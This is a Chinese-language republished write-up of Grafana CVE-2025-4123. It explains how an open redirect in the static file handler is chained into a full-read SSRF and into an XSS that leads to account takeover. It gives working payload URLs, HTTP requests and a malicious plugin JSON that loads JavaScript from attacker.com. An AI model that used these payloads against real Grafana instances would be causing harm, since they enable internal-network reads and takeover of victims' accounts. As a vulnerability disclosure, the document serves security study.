扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
摘要
开放重定向是指当一个网页应用程序接收一个URL参数并将用户重定向到该指定URL时,未对其进行验证的情况。
/redirect?url=https://evil.com` --> (302 Redirect) --> `https://evil.com
这本身看起来可能并不危险,但这种类型的漏洞成为发现两个独立漏洞的起点:一个完整读取的SSRF和一次账户接管。在这篇文章中,我将逐步讲解我是如何发现它们的整个过程。
为什么选择Grafana?
Grafana是一个开源的分析平台,主要使用Go和TypeScript编写,用于可视化来自Prometheus和InfluxDB等数据源的数据。我认为在这个Web应用中发现漏洞是一个不错的挑战,所以我下载了源代码并开始调试——尽管这是我第一次接触Go语言。我决定专注于应用中未认证的部分。
切入点:开放重定向
我查看了api/api.go
中定义的所有未认证端点。
...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...
功能分析
我甚至进一步深入研究了整个应用中使用的中间件。就在那时,我发现了一个负责处理静态路由的函数——它引起了我的注意。
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool { if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" { return false } file := ctx.Req.URL.Path for _, p := range opt.Exclude { if file == p { return false } } // if we have a prefix, filter requests by stripping the prefix if opt.Prefix != "" { if !strings.HasPrefix(file, opt.Prefix) { return false } file = file[len(opt.Prefix):] if file != "" && file[0] != '/' { return false } } f, err := opt.FileSystem.Open(file) if err != nil { return false } ..............}
该函数用于根据用户输入从系统中读取文件。很自然,我的第一个想法是尝试使用路径遍历技术(如 ../
或类似的技巧)来加载任意文件。
我会向你解释整个代码的执行流程以及所做的所有输入清理(理解这个漏洞的关键)。
因此,如果你请求 /public/file/../../../name
,路径会被清理,并解析为 /staticfiles/etc/etc/name
,从而有效阻止访问目标目录之外的非预期文件。
此外,如果解析后的最终路径指向一个文件夹,StaticHandler
函数会检查该文件夹内是否存在默认文件 —— 通常会从该目录中返回 /index.html
。
if fi.IsDir() { // Redirect if missing trailing slash. if !strings.HasSuffix(ctx.Req.URL.Path, "/") { path := fmt.Sprintf("%s/", ctx.Req.URL.Path) if !strings.HasPrefix(path, "/") { // Disambiguate that it's a path relative to this server path = fmt.Sprintf("/%s", path) } else { // A string starting with // or / is interpreted by browsers as a URL, and not a server relative path rePrefix := regexp.MustCompile(`^(?:/\|/+)`) path = rePrefix.ReplaceAllString(path, "/") } http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound) return true } file = path.Join(file, opt.IndexFile) indexFile, err := opt.FileSystem.Open(file) ....}
如你所见,如果最终的文件是一个目录,并且所提供的路径(如 /public/build
)未以 /
结尾,服务器会重定向到同一路径并在末尾添加一个 /
。
GET /public/build HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/build/
这种重定向行为正是开放重定向漏洞发生的地方,接下来我们就深入分析这一点。
目标
在我的场景中,应用程序会根据所提供的路径进行重定向,因此最终的重定向URL始终以 /
开头。我的目标是构造一个路径,当被请求时会重定向到一个合法的、以 /
开头的完整URL,例如:
-
• //attacker.com/...
-->//
表示协议相对URL,会使用当前页面的协议(如 HTTPS) -
• /attacker.com/...
-->/
同样具有相同效果
问题与解决方案
有效目录
为了触发重定向功能,我需要一个以 /public/
开头的路径,并且在传递给 opt.FileSystem.Open(file)
时能够解析为一个有效的目录。
我从 /public/attacker.com/../..
开始尝试,这条路径会被解析为一个空字符串 ""
,然后被附加到 /staticfiles/etc/etc/
,从而触发 if fi.isDir(){}
的代码逻辑。
/public/attacker.com/../..
-->
/attacker.com/../..
--> ""
-->
/staticfiles/etc/etc/`+`""` --> `fi.isDir() TRUE
现在,我已经找到了注入任意payload的方法,使其能够被 opt.FileSystem.Open(file)
解析为一个文件夹:/public/{}/../../..
不一致性
一旦进入 isDir()
部分,路径 /public/attacker.com/../..
会到达 http.Redirect()
函数。问题在于该函数同样会解析路径,导致重定向路径最终变成 /
。
if fi.IsDir() { ... //path is "/public/attacker.com/../.." but the final redirect is "/" http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound) return true ...}
如果我请求 /public/attacker.com/../..
GET /public/attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /
所以,基本上,我需要构造一个路径,使得在加载文件时 /../../..
被 opt.FileSystem.Open(file)
解析,但在执行重定向时,http.Redirect()
不对其进行解析。
该路径在两种情况下的解析方式不同。
-
• opt.FileSystem.Open(file)
期望的是系统文件路径 -
• http.Redirect(path)
期望的是URL路径
问题即答案
*?*
-
• opt.FileSystem.Open(file)
将?
视为普通字符。 -
• http.Redirect(path)
将?
解释为URL参数的开始。
这意味着 /public/attacker.com/?/../../../..
会被处理为:
在 opt.FileSystem.Open()
中 — >
-
• /public/attacker.com/?/../../../..
解析为""
,/staticfiles/etc/etc/
+""
是一个有效的文件夹。
在 http.Redirect()
中 →
-
• /public/attacker.com/?/../../../..
-->?
后面的内容被视为查询字符串,不作为路径解析。
带 ?
的请求 -> %3f
:
GET /public/attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/attacker.com/?/../../
最终payload
URL /public/attacker.com/?/../../../..
需要被解析成一个以 /
开头的完整URL。我简单地使用了这个路径:/public/../attacker.com/?/../../../..
当 http.Redirect()
解析路径时,会移除 /public
部分。
请求:
GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /attacker.com/?/../../../../../../
摘要图解
完整读取 SSRF
该开放重定向本身没有严重的安全影响,因此我需要将其与其他功能链式利用。
Grafana 有一个名为 /render
的端点,用于根据提供的路径生成图片。
// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
该端点使用无头浏览器渲染用户指定路径的HTML,它只接受相对URL路径 /route
,不允许渲染来自绝对URL https://...
的内容。
但如果我利用发现的开放重定向来重定向到内部服务怎么办?首先,我尝试通过 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
加载 google.es
。
然后我搭建了一个外部无法访问的内部服务,并尝试通过 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
加载 127.0.0.1:1234
。
通过该漏洞,我能够完整读取内部服务。由于渲染使用了浏览器,我甚至可以通过构造一个指向内部服务的表单来发送 POST
请求。
Grafana 在 Intigriti 上的公开漏洞计划未将 /render
端点纳入范围,因为该端点默认未启用。此外,该漏洞需要登录才能利用,所以我无法从中获益。
通过 XSS 实现账号接管
这可能是我利用过的最棒的漏洞链,成功实现了 XSS 和账号接管。
客户端路径遍历
Grafana 大量客户端代码允许客户端路径遍历。例如,当你在浏览器加载 /invite/1
时,JavaScript 会请求 /api/user/invite/1
来获取邀请信息。
但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute
,JavaScript 会解析路径遍历,最终加载 /route
。
这就创造了一个完美的场景,可以强制 JavaScript 加载开放重定向,从而从我的服务器获取特制的 JSON。
但首先,我需要找到一个以不安全方式加载内容的端点,并利用它执行 JavaScript。
加载恶意 JavaScript 文件
你可以使用 /a/plugin-app/explore
来加载和管理插件应用。该功能的 JavaScript 会从 URL 中提取插件应用名称,并用它请求 /api/plugins/plugin-app/settings
来获取插件信息。
/api/plugins/plugin-app/settings
文件内容如下。
{ "name": "plugin-app", "type": "app", "id": "plugin-app", "enabled": true, "pinned": true, "autoEnabled": true, "module": "/modules/..../plugin-app.js", //js file to load "baseUrl": "public/plugins/grafana-lokiexplore-app", "info": { "author": { "name": "Grafana" ... } } ...}
/a/plugin-app/explore
会加载该文件,并执行 "module"
参数中提供的 JavaScript。
/a/plugin-app/explore
存在客户端路径遍历漏洞,允许我加载服务器上的任意路由,而不是 /api/plugin-app/settings
。
这使我能够加载开放重定向,进而获取包含任意 JavaScript 文件的恶意 JSON。
所以基本上,我搭建了自己的服务器,放置所有必要的 JS 和 JSON 文件。我只需要托管如下格式的 JSON:
{ "name": "ExploitPluginReq", "type": "app", "id": "grafana-lokiexplore-app", "enabled": true, "pinned": true, "autoEnabled": true, "module": "http://attacker.com/file?js=file", //malicious js file "baseUrl": "public/plugins/grafana-lokiexplore-app", "info": { "author": {...} } ...}
然后加载这个路径,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
,利用了客户端路径遍历和开放重定向漏洞。
结果是:
我的恶意 JavaScript 文件被执行,使我能够更改受害者的邮箱并重置他们的密码。
摘要图解
完整漏洞利用:
https://github.com/NightBloodz/CVE-2025-4123
我一直认为 Grafana 是一个几乎无法攻破的目标。它看起来非常复杂且安全——公平地说,确实如此。
但发现这个漏洞证明了,无论一个应用看起来多么安全,它总是存在漏洞,或者最终会出现漏洞。
我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两个利用路径都需要身份认证。
参考链接:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论